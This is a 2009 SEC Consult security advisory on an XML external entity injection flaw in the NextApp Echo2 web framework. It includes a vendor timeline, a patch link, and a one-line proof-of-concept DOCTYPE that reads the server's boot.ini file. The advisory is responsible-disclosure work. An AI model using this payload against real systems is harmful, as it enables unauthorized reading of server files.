SEC Consult Security Advisory < 20090305-0 >
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title: NextApp Echo XML Injection Vulnerability
program: NextApp Echo
vulnerable version: Echo2 < 2.1.1
homepage: echo.nextapp.com/site/echo2
found: Feb. 2008
by: Anonymous / SEC Consult Vulnerability Lab
permanent link: www.sec-consult.com/files/20090305-0_echo_nextapp_xml_injection.txt
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Vendor description:
-------------------
Echo is a platform for building web-based applications that approach the capabilities of rich clients. The applications
are developed using a component-oriented and event-driven API, eliminating the need to deal with the "page-based"
nature of browsers. To the developer, Echo works just like a user interface toolkit.
Vulnerability overview:
-----------------------
Unverified XML Data is passed from the client (Webbrowser) to the NextApp Echo Engine and consequently
to an underlying XML Parser. This leading to a typical XML Injection scenario.
Vulnerability description:
--------------------------
All XML requests for the framework are created by javascript and than sent to the Server via POST HTTP requests.
A typical requests would look like the following:
---cut here---
<client-message xmlns="http://www.nextapp.com/products/echo2/climsg" trans-id="3" focus="c_25"><message-part xmlns="" processor="EchoPropertyUpdate"><property component-id="c_25" name="text">aa</property><property component-id="c_25" name="horizontalScroll" value="0"/><property component-id="c_25" name="verticalScroll" value="0"/></message-part><message-part xmlns="" processor="EchoAction"><action component-id="c_25" name="action"/></message-part></client-message>
---cut here---
By manipulating the POST content it is possible to inject arbitrary XML declarations- and tags.
Proof of concept:
-----------------
The following entity declaration would create a new XML entity with the content of the boot.ini file which
can be referenced in the following XML request content:
---cut here---
<?xml version="1.0"?><!DOCTYPE sec [<!ELEMENT sec ANY><!ENTITY mytestentity SYSTEM "file:///c:\boot.ini">]>
---cut here---
Vulnerable versions:
--------------------
NextApp Echo v2.1.0.rc2
Vendor contact timeline:
------------------------
2009/02/16: Vendor notified via email
2009/02/24: Patch available
Patch/Workaround:
-----------------
The vendor has released an update which addresses the vulnerability. The update can be downloaded at:
echo.nextapp.com/site/node/5742
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